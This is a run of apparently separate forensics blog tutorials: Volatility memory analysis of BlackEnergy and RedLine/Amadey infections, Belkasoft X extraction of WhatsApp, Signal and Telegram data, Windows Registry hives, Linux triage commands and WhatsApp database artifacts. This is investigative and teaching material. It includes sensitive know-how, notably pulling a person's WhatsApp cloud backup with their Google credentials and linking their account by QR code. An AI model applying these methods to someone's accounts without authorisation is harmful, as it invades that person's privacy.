Our investigation begins with a raw memory capture from an infected Windows 7 machine. Memory analysis is especially valuable in cases like this because advanced malware often hides itself on disk but leaves traces while running.

Profile Information

Before diving into artifacts, it is always a good idea to understand the environment we are working with. The windows.info plugin gives us essential information such as the operating system version, architecture, kernel details, and system time. This context helps ensure that later findings make sense and that we interpret timestamps correctly.

bash$ > vol -f WINDOWS-ROOTKIT.raw windows.info

Process Listing

One of the first steps in memory analysis is reviewing the list of processes that were running when the memory was captured. This gives us a snapshot of system activity at that moment.

bash$ > vol -f WINDOWS-ROOTKIT.raw windows.pslist

During this step, two processes immediately stand out: rootkit.exe and DumpIt.exe. DumpIt is commonly used to acquire memory, so its presence is expected. The appearance of rootkit.exe, however, is an indicator of malicious activity and deserves closer inspection.

To gain more context, we can look at which processes had already exited and which were still running. Processes that have ended will show an exit time, while active ones usually display “N/A.”

bash$ > vol -f WINDOWS-ROOTKIT.raw windows.pslist | grep -avi n/a

Among the terminated processes, we see rootkit.exe, cmd.exe, and others. This alone does not prove anything, but it makes us wonder how these processes were launched.

By correlating their process IDs, we can reconstruct the execution chain.

bash$ > vol -f WINDOWS-ROOTKIT.raw windows.pslist | grep -iE “1484|1960|276|964”

Although the output may look messy at first, it tells a clear story. explorer.exe launched several child processes, including cmd.exe, rootkit.exe, DumpIt.exe, and notepad.exe. This means the malicious activity was initiated through a user session, not a background service or boot-level process. Attackers often hide behind legitimate parent processes to blend in with normal system behavior, but in this case, the activity still leaves a clear forensic trail.

Code Injection Analysis

A common technique used by advanced malware is process injection. Instead of running entirely on its own, malware injects malicious code into legitimate processes to evade detection. DLL injection is especially popular because it allows attackers to run code inside trusted system binaries.

To look for signs of injection, we use the malfind plugin.

bash$ > vol -f WINDOWS-ROOTKIT.raw windows.malware.malfind

Several processes are flagged, but svchost.exe immediately draws attention due to the presence of an MZ header. The MZ signature normally appears at the beginning of Windows executable files. Finding it inside the memory of a running service process strongly suggests injected executable code.

To investigate further, we dump the suspicious memory region.

vol -f WINDOWS-ROOTKIT.raw windows.malware.malfind --dump --pid 880

VirusTotal and Malware Identification

After calculating the hash of the dumped payload, we can check it against VirusTotal. The results say the injected code belongs to BlackEnergy.

This confirms that the malware was running inside svchost.exe as an implant. Historically, BlackEnergy was used to maintain access, collect information, and deliver destructive payloads such as KillDisk. During the Ukrainian power grid attacks, this approach allowed attackers to disrupt operations while actively complicating forensic investigations.

MITRE ATT&CK classifications help further explain how BlackEnergy operated. The malware used obfuscation to hide its true functionality, masquerading to appear as legitimate software, system binary proxy execution to abuse trusted Windows components, and sandbox evasion to avoid automated analysis. It also performed registry queries and system discovery to understand the environment before sending data back to its command-and-control servers over HTTP, a technique that remains common even today.

Strings Analysis and Persistence

Running strings on the memory image shows additional clues.

bash$ > strings WINDOWS-ROOTKIT.raw

One particularly important finding is a reference to a .sys driver file, indicating that the malware persisted as a kernel driver. Driver-based persistence is more advanced than simple registry keys or scheduled tasks. It allows malware to load early during system startup and operate with high privileges, making detection and removal significantly harder.

Loaded DLL Analysis

To understand how the malware hides itself, we examine loaded modules using ldrmodules.

bash$ > vol -f WINDOWS-ROOTKIT.raw windows.ldrmodules --pid 880

The DLL msxml3r.dll does not appear as loaded, initialized, or mapped in memory according to the module lists. When all these indicators are false, it often means the malware is deliberately hiding the module from standard enumeration methods. This is a classic rootkit technique designed to evade detection.

DumpIt.exe Investigation

Finally, we examine DumpIt.exe. Dumping the process and checking its hash reveals that it is, in fact, a trojan.

bash$ > vol -f WINDOWS-ROOTKIT.raw windows.dump --pid 276

Its behavior shows a wide range of capabilities, including file manipulation, registry modification, privilege changes, service-based persistence, driver interaction, and embedded payload execution. In short, this malware component acted as a support tool, enabling persistence, system control, and interaction with low-level components.

Timeline Reconstruction

Putting all the pieces together, we can reconstruct the likely sequence of events. A user session initiated explorer.exe, which then launched command-line activity. Rootkit.exe was executed, injecting BlackEnergy into svchost.exe. The malware established persistence through a driver, hid its components using rootkit techniques, and maintained control over the system. DumpIt.exe, masquerading as a legitimate tool, further supported these activities.

Summary

In this investigation, we used Volatility to analyze a memory dump from a Windows 7 system infected with BlackEnergy. By examining running processes, code injection artifacts, loaded modules, strings, and malware behavior, we found a sophisticated implant designed for stealth and persistence. The whole case is a reminder that advanced malware often lives in memory, hides inside trusted processes, and actively works against forensic analysis.

Welcome back, aspiring digital investigators.

Many of you found our previous WhatsApp forensics article interesting, where we explained how to pull data from a rooted Android device. That method works well in difficult situations, but it is not always practical. Not everyone has the technical skills required to root a phone, and in many cases it is simply not possible. On the iOS side, things can be easier if you have an iTunes backup saved on a computer. Some users even leave their backups unprotected because they worry about forgetting the password, which means you may be able to access everything quickly.

But what happens when you do not have those ideal conditions? What if you need to extract messages and media fast, without doing anything advanced to the device? Today, we want to show you simple and reliable ways to gather data from WhatsApp, Signal, and Telegram with almost no technical experience. Even though these apps use strong encryption, it does not matter much once you have the unlocked device in front of you. Capturing network traffic will not help because everything is encrypted during transit. The smarter approach is to work directly with the phone, where the app already decrypts information for the user.

For this you will need Belkasoft X, one of the professional forensic tools we use at Hackers-Arise. The software is paid, but they offer a thirty-day free trial that you can obtain simply by signing up with your email. After a short time you will receive a link from Belkasoft’s team that allows you to install the tool.

Method 1: Using Belkasoft X Screen Capturer with Top Messengers

One of the easiest ways to collect content from mobile messengers is through automated screen capturing. Screenshots are far more valuable than many people think because they show exactly what the user saw, including messages, contact lists, calls, and media previews. Belkasoft X includes an Android screen-capturer feature that automates this entire process. It scrolls through apps such as Signal, Telegram, and WhatsApp, takes screenshots for you, and then uses text-recognition techniques to rebuild readable, searchable chat logs.

Screen capturing is especially helpful because basic Android acquisition methods such as ADB backup often miss large portions of app data. Many apps encrypt their local files, and even if you manage to back them up, decrypting them afterward can be extremely difficult. More advanced approaches, like downgrading APK versions to extract unencrypted data, do work but come with their own risks. Screen capturing, on the other hand, is safe, fast, and based entirely on normal ADB commands. Following well-known digital forensics handling guidelines, such as the SANS “Six Steps,” it is always better to start with the least intrusive method, and screenshots fit perfectly into that philosophy. The Android screen capturer in Belkasoft X is quick because it moves through screens automatically and faster than any human could. It is also flexible because you can limit how much the tool captures, which helps avoid long sessions. For example, you can choose to capture only the most recent messages or specific screens within an app.

Using the tool is straightforward. You connect the Android device to a computer running Belkasoft X, enable USB debugging under the Developer Options menu, and usually switch the phone to Airplane Mode so new notifications do not interfere. If the app depends on loading older messages from the cloud, you can preload everything before activating Airplane Mode. After that you launch Belkasoft X, create a case, select the mobile acquisition option, and choose the Screen Capturer method. 

Once you select either a supported messenger or a generic app, the tool guides you step by step until the capture starts.

During acquisition you should not touch the device until the process finishes. 

When Belkasoft X completes the capture, it offers to analyze the screenshots immediately and convert them into readable text.

For supported messengers like Signal, Telegram, and WhatsApp, the software organizes the results into familiar chat views, complete with names, contacts, timestamps, and messages. You can search, filter, and review everything, and if something looks suspicious, you can always return to the original screenshots for verification.

Method 2: Acquiring WhatsApp Cloud Backups

The second approach is useful when you do not have physical access to the device. If a WhatsApp user has configured their app to back up messages to their Google account, the backup files will appear in the user’s Google Drive storage. By default, end-to-end encrypted backups are turned off, and many people also choose to include videos in their backup, giving you more material to investigate. Google Drive itself does not allow direct downloading of WhatsApp’s backup files, so you will need Belkasoft X to retrieve them.

To acquire the backup, you start a case, add a new cloud data source, and select the WhatsApp option.

You then enter the user’s Google account credentials and follow the tool’s instructions.

The resulting data typically includes the encrypted msgstore database in its .crypt14 format, stored inside a folder named after the phone number registered with that WhatsApp account. While the messages themselves are encrypted, the media files are usually stored unencrypted and can be examined right away.

Method 3: WhatsApp QR Linking

The third method imitates the process of linking a new device to a WhatsApp account using a QR code. This is the same mechanism used when you open WhatsApp Web on your computer. The tool uses this linking process to obtain recent conversations and media from the account. Because of how WhatsApp handles synchronization, the data you receive will not be as complete as a full device extraction, but it is often enough to capture recent chats and shared files.

To use this method, the phone must be online and its camera must be functioning, because the user will need to scan a QR code presented on your screen. After creating a new case and selecting the WhatsApp QR acquisition option, the tool guides you through the linking process until the transfer is complete. The recovered messages are stored in an XML-based file along with a folder containing downloaded media.

Summary

You learned about simple and practical ways to extract messages and media from popular messaging apps such as WhatsApp, Signal, and Telegram without relying on advanced techniques like rooting an Android device. The key idea is that strong encryption protects data while it is being transmitted, but once you have access to the unlocked phone or its backups, much of that data becomes accessible through careful forensic methods. Belkasoft X is capable of doing this and a lot more. Screen capturing was shown as a safe and effective method that allows investigators to collect visible app content exactly as the user saw it. We also looked at acquiring WhatsApp cloud backups from Google Drive when physical access to the device is not available, and finally at using WhatsApp QR linking to retrieve recent conversations and media through account synchronization. Mobile forensics does not always require deep technical skills to produce valuable results. With the right tools and a thoughtful approach, investigators can quickly and reliably extract meaningful evidence from modern messaging applications.

Welcome to the first part of our Windows Forensics series!

Today we start a guide designed especially for beginners getting started with registry analysis. In digital forensics, few artifacts are as rich, subtle, and revealing as the Windows Registry. It is a sprawling, hierarchical database where Windows quietly stores its configuration details, such as system settings, user preferences, hardware and software information. But more than that, the Registry is a historical logbook, it records traces of what has happened on a machine, which applications were installed, devices were plugged in, and network connections occurred. Even after files are deleted, or an attacker attempts to erase evidence, residual entries often remain in registry hives, transaction logs, or backups. They can provide a trail that can be reconstructed. By learning how to read, interpret, and extract data from these structures, you gain access to a powerful source of truth about past system activity.

To illustrate just how powerful registry forensics can be, here is a real case described by Italian investigators. An employee was accused of leaking sensitive company data using a corporate workstation. When forensic investigators seized the machine and analyzed its system registry, they didn’t just stop at installed software or user activity. They homed in on power and standby settings to determine how the computer behaved when it was left idle and whether it asked for a password on reactivation. Through registry analysis, they discovered that the screen reactivated without requiring a login, which supported their theory that someone else might have used the computer under the guise of the employee.

Today we will start by unpacking the basic building blocks, such as the hives, the logs, and how to acquire them safely without altering critical metadata. With that foundation, you will be ready to move forward into more advanced analysis in later parts of the series.

Hives

When you first step into the world of the Windows Registry, it helps to imagine it as a branching structure that starts broad and becomes more detailed the deeper you go. At the top of this structure are the hives, which act as major containers for everything stored in the Registry. Inside these hives are keys, which behave like folders, and values, which contain the actual pieces of data.

The most important hives for forensic work are:

1. HKEY_LOCAL_MACHINE (HKLM), which contains system-wide settings 
2. HKEY_USERS (HU), which holds profile information for every user on the system 
3. HKEY_CURRENT_USER (HKCU), which shows the active user’s settings and is really just a shortcut to that user’s section inside HKEY_USERS
4. You may also encounter HKEY_CLASSES_ROOT and HKEY_CURRENT_CONFIG, but these are built from other hives and are usually less important when you are first learning registry forensics.

How you access these hives depends on whether you are analyzing a live machine or working with a disk image. On a live system, regedit.exe loads and mounts everything for you automatically, making navigation straightforward. On an image, nothing is mounted, so you must know where the actual hive files are located. Most system hives are stored in C:\Windows\System32\Config as DEFAULT, SAM, SECURITY, SOFTWARE, and SYSTEM, each corresponding to a specific Registry root.

User-specific hives are stored separately. On Windows 7 and newer, each user’s profile folder at C:\Users\<username>\ contains two important files: NTUSER.DAT and USRCLASS.DAT. When a user logs in, NTUSER.DAT becomes HKEY_CURRENT_USER and reflects personal settings, activity traces, and behavior, while USRCLASS.DAT loads under HKEY_CURRENT_USER\Software\CLASSES. Together, these hives give investigators an extremely detailed view of both system-level and user-level activity.

Another hive worth learning early on is the Amcache hive, located at C:\Windows\AppCompat\Programs\Amcache.hve. Windows uses it to record details about programs that were recently executed. Even if an attacker deletes an executable or removes its traces from other locations, Amcache often preserves enough information to connect it back to the system.

Now let’s take a closer look at the main hives and what makes each of them valuable in an investigation.

SAM Hive

The SAM hive stores local user accounts, groups, and password hashes. Investigators use it to identify accounts, check for unauthorized creations, and extract password hashes for deeper analysis. It often reveals privilege escalation attempts.

SYSTEM Hive

The SYSTEM hive contains configuration data for hardware, services, drivers, and network interfaces. It plays a major role in building system timelines because it stores time zone settings, device history, and information about previous network connections.

SOFTWARE Hive

The SOFTWARE hive contains records about installed software, both from Windows and third-party vendors. It can reveal when a program was installed, how it was configured, or whether malware established persistence on the system.

SECURITY Hive

The SECURITY hive contains local security policies and audit settings. Investigators look here to see whether someone changed security rules, weakened protections, or modified privilege rights.

NTUSER.DAT Hive

NTUSER.DAT gives the most detailed view of a specific user’s actions. It logs things like recently opened files, commands, application usage, and settings that reflect day-to-day behavior. It is one of the most valuable hives in user-focused investigations.

USRCLASS.DAT

USRCLASS.DAT holds additional user-level data related to the Windows interface, including recent items, folder views, and file associations. These small details often help reconstruct how a user navigated the system.

Amcache Hive

The Amcache hive records program execution history, even for deleted or moved executables. Because of this, it is extremely useful during malware investigations and incident response.

Transaction Logs and Backups

Beyond the hives, transaction logs and backups offer additional layers of evidence. Transaction logs act as journals that record Registry changes before they are written into the main hive files. If a system crashes or an attacker interrupts a process, the logs may still contain the most recent modifications. Each hive has a .LOG file stored in the same directory, and some hives have .LOG1 and .LOG2 as well. These files often reveal changes that are invisible in the main hives.

Registry backups work in the opposite direction by preserving older versions of the hives. Windows automatically copies the hives into C:\Windows\System32\Config\RegBack every ten days. When you suspect that keys were deleted or modified to cover tracks, comparing the current hives with their backups can reveal exactly what changed.

Before you can analyze any of this information, you must acquire the Registry hives safely. Registry acquisition is about collecting the hive files without altering them and preserving their metadata. Whether you are working on a live system or a disk image, your goal is always the same. You need to extract the files in a forensically sound manner so you can examine them later. Three common tools used for this are Autopsy, KAPE, and FTK Imager.

Autopsy

Autopsy is an open-source forensic tool that lets investigators examine disk images easily. When handling Registry hives, Autopsy makes it simple to navigate to the correct directories and export the hive files without touching the original evidence. It is widely used in training and lab environments because of its clear interface and reliability.

Kape

KAPE (Kroll Artifact Parser and Extractor) is designed for quick collection of important forensic artifacts. Instead of manually browsing through directories, KAPE uses modules that automatically identify and extract the correct Registry hives. This makes it ideal for triage situations or tight time windows.

FTK Imager

FTK Imager is a well-known imaging and preview tool used to extract files from both live systems and images. You can browse the file system, locate hives such as SAM, SYSTEM, SOFTWARE, NTUSER.DAT, or Amcache, and export them with all metadata preserved. FTK Imager is popular because it allows clean, safe copying without altering the evidence.

Summary

The Windows Registry acts like a digital diary of a computer’s life, recording system settings and the actions of users over time. It stores details about installed applications, devices that connected to the machine, and which programs were run. Even when attackers or users try to cover their tracks, the Registry often retains enough evidence. Logs and backup copies can reveal changes that would otherwise be hidden. And because all of this data is stored in structured “hives,” each part of the Registry tells a different story, from user behavior to security settings to executed programs. To preserve this evidence, investigators must collect Registry data carefully, using tools that maintain the integrity and metadata of the files. When done right, examining the Registry gives a clear, reliable view into past activity.

Welcome back, my aspiring digital investigators!

Many of you enjoyed our earlier lessons on Volatility, so today we will continue that journey with another practical case. It is always great to see your curiosity growing stronger. This time we will walk through the memory analysis of a Windows machine that was infected with a stealer, which posed as a VPN app. The system communicated quietly with a Command and Control server operated by a hacker, and it managed to bypass the network intrusion detection system by sending its traffic through a SOCKS proxy. This trick allowed it to speak to a malicious server without raising alarms. You are about to learn exactly how we uncovered it.

What Is a NIDS ?

Before we jump into memory analysis, let’s briefly talk about NIDS, which stands for Network Intrusion Detection System. A NIDS watches the network traffic that flows through your environment and looks for patterns that match known attacks or suspicious behavior. If a user suddenly connects to a dangerous IP address or sends strange data, the NIDS can raise an alert. However, attackers often try to hide their communication. One common method is to use a SOCKS proxy, which allows the malware to make its malicious connection indirectly. Because the traffic appears to come from a trusted or unknown third party instead of the real attacker’s server, the NIDS may fail to flag it.

Memory Analysis

Now that we understand the background, we can begin our memory investigation.

Evidence

In this case we received a memory dump that was captured with FTK Imager. This is the only piece of evidence available to us, so everything we discover must come from this single snapshot of system memory.

Volatility Setup

If you followed the first part of our Volatility guide, you already know how to install Volatility in its own Python 3 environment. Whenever you need it, simply activate it:

bash$ > source ~/venvs/vol3/bin/activate

Malfind

Volatility includes a helpful plugin called malfind. In Volatility 3, malfind examines memory regions inside processes and highlights areas that look suspicious. Attackers often inject malicious code into legitimate processes, and malfind is designed to catch these injected sections. Volatility has already announced that this module will be replaced in 2026 by a new version called windows.malware.malfind, but for now it still works the same way.

To begin looking for suspicious activity, we run:

bash$ > vol -f MemoryDump.mem windows.malware.malfind

The output shows references to a VPN, and several processes stand out as malicious. One in particular catches our attention: oneetx.exe. To understand its role, we need to explore the related processes. We can do that with pslist:

bash$ > vol -f MemoryDump.mem windows.pslist | grep -E "5896|7540|5704"

We see that oneetx.exe launched rundll32.exe. This is a classic behavior in malware. Rundll32.exe is a legitimate Windows utility that loads and executes DLL files. Hackers love using it because it allows their malicious code to blend in with normal system behavior. If the malware hides inside a DLL, rundll32.exe can be used to run it without attracting much attention.

We have confirmed the malicious process, so now we will extract it from memory.

Analyzing the Malware

To analyze the malware more deeply, we need the actual executable. We use dumpfile and provide the process ID:

bash$ > vol -f MemoryDump.mem windows.dumpfile --pid 5896

Volatility will extract all files tied to the process. To quickly locate the executable, we search for files ending in .exe:

bash$ > ls *exe*

Once we find the file, we calculate its hash so that we can look it up on VirusTotal:

bash$ > md5sum file.0x….oneetx.exe.img

The malware is small, only 865 KB. This tells us it is a lightweight implant with limited features. A full-featured, multi-purpose implant such as a Sliver payload is usually much larger, sometimes around sixteen megabytes. Our sample steals information and sends it back to the hacker.

Viewing its behavior reveals several MITRE ATT&CK techniques, and from that we understand it is a stealer focused on capturing user input and collecting stolen browser cookies.

Next, we want to know which user launched this malware. We can use filescan for that:

bash$ > vol -f MemoryDump.mem windows.filescan | grep "oneetx.exe"

It turns out the user was Tammam, who accidentally downloaded and executed the malware.

Memory Protection

Before we continue, it is worth discussing memory protection. Operating systems apply different permissions to memory regions, such as read, write, or execute. Malware often marks its injected code regions as PAGE_EXECUTE_READWRITE, meaning the memory is readable, writable, and executable at the same time. This combination is suspicious because normal applications usually do not need this level of freedom. In our malfind results, we saw that the malicious code was stored in memory regions with these unsafe permissions.

Process Tree

Next, we review the complete process tree to understand what else was happening when the malware ran:

bash$ > vol -f MemoryDump.mem windows.pstree

Two processes draw our attention: Outline.exe and tun2socks.exe. From their PIDs and PPIDs, we see that Outline.exe is the parent process.

Tun2socks.exe is commonly used to forward traffic from a VPN or proxy through a SOCKS interface. In normal security tools it is used to route traffic securely. However, attackers sometimes take advantage of it because it allows them to hide communication inside what looks like normal proxy traffic.

To understand how Outline.exe started, we trace its PID and PPID back to the original parent. In this case, explorer.exe launched multiple applications, including this one.

Normally we would extract these executables and check their hashes as well, but since we have already demonstrated this process earlier, we can skip repeating it here.

Network Connections

Malware usually communicates with a Command and Control server so the hacker can control the infected system, steal data, or run remote commands. Some malware families, such as ransomware, do not rely heavily on network communication, but stealers typically do.

We check the network connections from our suspicious processes:

bash$ > vol -f MemoryDump.mem windows.netscan | grep -iE "outline|tun2socks|oneetx"

Tun2socks connected to 38.121.43.65, while oneetx.exe communicated with 77.91.124.20. After checking their reputations, we see that one of the IPs is malicious and the other is clean. This strongly suggests that the attacker used a proxy chain to hide their real C2 address behind an innocent-looking server.

The malicious IP is listed on tracker.viriback.com, which identifies the malware family as Amadey. Amadey is known for stealing data and providing remote access to infected machines. It usually spreads through phishing and fake downloads, and it often hides behind ordinary-looking websites to avoid suspicion.

The tracker even captured an HTTP login page for the C2 panel. The interface is entirely in Russian, so it is reasonable to assume a Russian-speaking origin.

Strings Analysis

Now that we understand the basic nature of the infection, we search for strings in the memory dump that mention the word “stealer”:

bash$ > strings MemoryDump.mem | grep -ai stealer

We find references to RedLine Stealer, a well-known and widely sold malware. RedLine is commonly bought on underground markets. It comes either as a one-time purchase or as a monthly subscription. This malware collects browser passwords, auto-fill data, credit card information, and sometimes even cryptocurrency wallets. It also takes an inventory of the system, gathering information about hardware, software, security tools, and user details. More advanced versions can upload or download files, run commands, and report regularly to the attacker.

We can also use strings to search for URLs where the malware may have uploaded stolen data.

Several directories appear, and these could be the locations where the stolen credentials were being stored.

Timeline

Tammam wanted to download a VPN tool and came across what looked like an installer. When he launched it, the application behaved strangely, but by then the infection had already begun. The malware injected malicious code, and used rundll32.exe to run parts of its payload. Tun2socks.exe and Outline.exe helped the malware hide its communication by routing traffic through a SOCKS proxy, which allowed it to connect safely to the attacker’s C2 server at 77.91.124.20. From there, the stealer collected browser data, captured user inputs, and prepared to upload stolen credentials to remote directories. The entire activity was visible inside the memory dump we analyzed.

Summary

Stealers are small but very dangerous pieces of malware designed to quietly collect passwords, cookies, autofill data, and other personal information. Instead of causing loud damage, they focus on moving fast and staying hidden. Many rely on trusted Windows processes or proxy tools to disguise their activity, and they often store most of their traces only in memory, which is why memory forensics is so important when investigating them. Most popular stealers, like RedLine or Amadey, are sold on underground markets as ready-made kits, complete with simple dashboards and subscription models. Their goal is always the same.

Welcome back, aspiring forensic investigators. 

Linux is everywhere today. It runs web servers, powers many smartphones, and can even be found inside the infotainment systems of cars. A few reasons for its wide use are that Linux is open source, available in many different distributions, and can be tailored to run on both powerful servers and tiny embedded devices. It is lightweight, modular, and allows administrators to install only the pieces they need. Those qualities make Linux a core part of many organizations and of our daily digital lives. Attackers favour Linux as well. Besides being a common platform for their tools, many Linux hosts suffer from weak monitoring. Compromised machines are frequently used for reverse proxies, persistence, reconnaissance and other tasks, which increases the need for forensic attention. Linux itself is not inherently complex, but it can hide activity in many small places. In later articles we will dive deeper into what you can find on a Linux host during an investigation. Our goal across the series is to build a compact, reliable cheat sheet you can return to while handling an incident. The same approach applies to Windows investigations as well.

Today we will cover the basics of Linux forensics. For many incidents this level of detail will be enough to begin an investigation and perform initial response actions. Let’s start.

OS & Accounts

OS Release Information

The first thing to check is the distribution and release information. Different Linux distributions use different defaults, package managers and filesystem layouts. Knowing which one you are examining helps you predict where evidence or configuration will live. 

bash> cat /etc/os-release

Common distributions and their typical uses include Debian and Ubuntu, which are widely used on servers and desktops. They are stable and well documented. RHEL and CentOS are mainly in enterprise environments with long-term support. Fedora offers cutting-edge features, Arch is rolling releases for experienced users, Alpine is very small and popular in containers. Security builds such as Kali or Parrot have pentesting toolsets. Kali contains many offensive tools that hackers use and is also useful for incident response in some cases.

Hostname

Record the system’s hostname early and keep a running list of hostnames you encounter. Hostnames help you map an asset to network records, correlate logs across systems, identify which machine was involved in an event, and reduce ambiguity when combining evidence from several sources.

bash> cat /etc/hostname

bash> hostname

Timezone

Timezone information gives a useful hint about the likely operating hours of the device and can help align timestamps with other systems. You can read the configured timezone with:

bash> cat /etc/timezone

User List

User accounts are central to persistence and lateral movement. Local accounts are recorded in /etc/passwd (account metadata and login shell) and /etc/shadow (hashed passwords and aging information). A malicious actor who wants persistent access may add an account or modify these files. To inspect the user list in a readable form, use:

bash> cat /etc/passwd | column -t -s :

You can also list users who are allowed interactive shells by filtering the shell field:

bash> cat /etc/passwd | grep -i 'ash'

Groups

Groups control access to shared resources. Group membership can reveal privilege escalation or lateral access. Group definitions are stored in /etc/group. View them with:

bash> cat /etc/group

Sudoers List

Users who can use sudo can escalate privileges. The main configuration file is /etc/sudoers, but configuration snippets may also exist under /etc/sudoers.d. Review both locations: 

bash> ls -l /etc/sudoers.d/

bash> sudo cat /etc/sudoers

Login Information

The /var/log directory holds login-related records. Two important binary files are wtmp and btmp. The first one records successful logins and logouts over time, while btmp records failed login attempts. These are binary files and must be inspected with tools such as last (for wtmp) and lastb (for btmp), for example:

bash> sudo last -f /var/log/wtmp

bash> sudo lastb -f /var/log/btmp

System Configuration

Network Configuration

Network interface configuration can be stored in different places depending on the distribution and the network manager in use. On Debian-based systems you may see /etc/network/interfaces. For a quick look at configured interfaces, examine:

bash> cat /etc/network/interfaces

bash> ip a show

Active Network Connections

On a live system, active connections reveal current communications and can suggest where an attacker is connecting to or from. Traditional tools include netstat:

bash> netstat -natp

A modern alternative is ss -tulnp, which provides similar details and is usually available on newer systems.

Running Processes

Enumerating processes shows what is currently executing on the host and helps spot unexpected or malicious processes. Use ps for a snapshot or interactive tools for live inspection:

bash> ps aux

If available, top or htop give interactive views of CPU/memory and process trees.

DNS Information

DNS configuration is important because attackers sometimes alter name resolution to intercept or redirect traffic. Simple local overrides live in /etc/hosts. DNS server configuration is usually in /etc/resolv.conf. Often attackers might perform DNS poisoning or tampering to redirect victims to malicious services. Check the relevant files:

bash> cat /etc/hosts

bash> cat /etc/resolv.conf

Persistence Methods

There are many common persistence techniques on Linux. Examine scheduled tasks, services, user startup files and systemd units carefully.

Cron Jobs

Cron is often used for legitimate scheduled tasks, but attackers commonly use it for persistence because it’s simple and reliable. System-wide cron entries live in /etc/crontab, and individual service-style cron jobs can be placed under /etc/cron.d/. User crontabs are stored under /var/spool/cron/crontabs on many distributions. Listing system cron entries might look like:

bash> cat /etc/crontab

bash> ls /etc/cron.d/

bash> ls /var/spool/cron/crontabs

Many malicious actors prefer cron because it does not require deep system knowledge. A simple entry that runs a script periodically is often enough.

Services

Services or daemons start automatically and run in the background. Modern distributions use systemd units which are typically found under /etc/systemd/system or /lib/systemd/system, while older SysV-style scripts live in /etc/init.d/. A quick check of service scripts and unit files can reveal backdoors or unexpected startup items:

bash> ls /etc/init.d/

bash> systemctl list-unit-files --type=service

bash> ls /etc/systemd/system

.Bashrc and Shell Startup Files

Per-user shell startup files such as ~/.bashrc, ~/.profile, or ~/.bash_profile can be modified to execute commands when an interactive shell starts. Attackers sometimes add small one-liners that re-establish connections or drop a backdoor when a user logs in. The downside for attackers is that these files only execute for interactive shells. Services and non-interactive processes will not source them, so they are not a universal persistence method. Still, review each user’s shell startup files:

bash> cat ~/.bashrc

bash> cat ~/.profile

Evidence of Execution

Linux can offer attackers a lot of stealth, as logging can be disabled, rotated, or manipulated. When the system’s logging is intact, many useful artifacts remain. When it is not, you must rely on other sources such as filesystem timestamps, process state, and memory captures.

Bash History

Most shells record commands to a history file such as ~/.bash_history. This file can show what commands were used interactively by a user, but it is not a guaranteed record, as users or attackers can clear it, change HISTFILE, or disable history entirely. Collect each user’s history (including root) where available:

bash> cat ~/.bash_history

Tmux and other terminal multiplexers themselves normally don’t provide a persistent command log. Commands executed in a tmux session run in normal shell processes. Whether those commands are saved depends on the tmux configurations. 

Commands Executed With Sudo

When a user runs commands with sudo, those events are typically logged in the authentication logs. You can grep for recorded COMMAND entries to see what privileged commands were executed:

bash> cat /var/log/auth.log* | grep -i COMMAND | less

Accessed Files With Vim

The Vim editor stores some local history and marks in a file named .viminfo in the user’s home directory. That file can include command-line history, search patterns and other useful traces of editing activity:

bash> cat ~/.viminfo

Log Files

Syslog

If the system logging service (for example, rsyslog or journald) is enabled and not tampered with, the files under /var/log are often the richest source of chronological evidence. The system log (syslog) records messages from many subsystems and services. Because syslog can become large, systems rotate older logs into files such as syslog.1, syslog.2.gz, and so on. Use shell wildcards and standard text tools to search through rotated logs efficiently:

bash> cat /var/log/syslog* | head

When reading syslog entries you will typically see a timestamp, the host name, the process producing the entry and a message. Look for unusual service failures, unexpected cron jobs running, or log entries from unknown processes.

Authentication Logs

Authentication activity, such as successful and failed logins, sudo attempts, SSH connections and PAM events are usually recorded in an authentication log such as /var/log/auth.log. Because these files can be large, use tools like grep, tail and less to focus on the relevant lines. For example, to find successful logins you run this:

bash> cat /var/log/auth.log | grep -ai accepted

Other Log Files

Many services keep their own logs under /var/log. Web servers, file-sharing services, mail daemons and other third-party software will have dedicated directories there. For example, Apache and Samba typically create subdirectories where you can inspect access and error logs:

bash> ls /var/log

bash> ls /var/log/apache2/

bash> ls /var/log/samba/

Conclusion

A steady, methodical sweep of the locations described above will give you a strong start in most Linux investigations. You start by verifying the OS, recording host metadata, enumerating users and groups, then you move to examining scheduled tasks and services, collecting relevant logs and history files. Always preserve evidence carefully and collect copies of volatile data when possible. In future articles we will expand on file system forensics, memory analysis and tools that make formal evidence collection and analysis easier.

Welcome back, aspiring digital investigators!

Today we will take a look at WhatsApp forensics. WhatsApp is one of those apps that are both private and routine for many users. People treat chats like a private conversation, and because it feels comfortable, users often share things there that they would not say on public social networks. That’s why WhatsApp is so critical for digital forensics. The app stores conversations, media, timestamps, group membership information and metadata that can help reconstruct events, identify contacts and corroborate timelines in criminal and cyber investigations.

At Hackers-Arise we offer professional digital forensics services that support cybercrime investigations and fraud examinations. WhatsApp forensics is done to find reliable evidence. The data recovered from a device can show who communicated with whom, when messages were sent and received, what media was exchanged, and often which account owned the device. That information is used to link suspects and verify statements. It also maps movements when combined with location artifacts that investigators and prosecutors can trust.

You will see how WhatsApp keeps its data on different platforms and what those files contain.

WhatsApp Artifacts on Android Devices

On Android, WhatsApp stores most of its private application data inside the device’s user data area. In a typical layout you will find the app’s files under a path such as /data/data/com.whatsapp/ (or equivalently /data/user/0/com.whatsapp/ on many devices). Those directories are not normally accessible without elevated privileges. To read them directly you will usually need superuser (root) access on the device or a physical dump of the file system obtained through lawful and technically appropriate means. If you do not have root or a physical image, your options are restricted to logical backups or other extraction methods which may not expose the private WhatsApp databases.

Two files deserve immediate attention on Android: wa.db and msgstore.db. Both are SQLite databases and together they form the core of WhatsApp evidence.

wa.db is the contacts database. It lists the WhatsApp user’s contacts and typically contains phone numbers, display names, status strings, timestamps for when contacts were created or changed, and other registration metadata. You will usually open the file with a SQLite browser or query it with sqlite3 to inspect tables. The key tables investigators look for are the table that stores contact records (often named wa_contacts or similar), sqlite_sequence which holds auto-increment counts and gives you a sense of scale, and android_metadata which contains localization info such as the app language.

Wa.db is essentially the address book for WhatsApp. It has names, numbers and a little context for each contact.

msgstore.db is the message store. This database contains sent and received messages, timestamps, message status, sender and receiver identifiers, and references to media files. In many WhatsApp versions you will find tables that include a general information table (often named sqlite_sequence), a full-text index table for message content (message_fts_content or similar), the main messages table which usually contains the message body and metadata, messages_thumbnails which catalogs images and their timestamps, and a chat_list table that stores conversation entries. 

Be aware that WhatsApp evolves and field names change between versions. Newer schema versions may include extra fields such as media_enc_hash, edit_version, or payment_transaction_id. Always inspect the schema before you rely on a specific field name.

On many Android devices WhatsApp also keeps encrypted backups in a public storage location, typically under /data/media/0/WhatsApp/Databases/ (the virtual SD card)

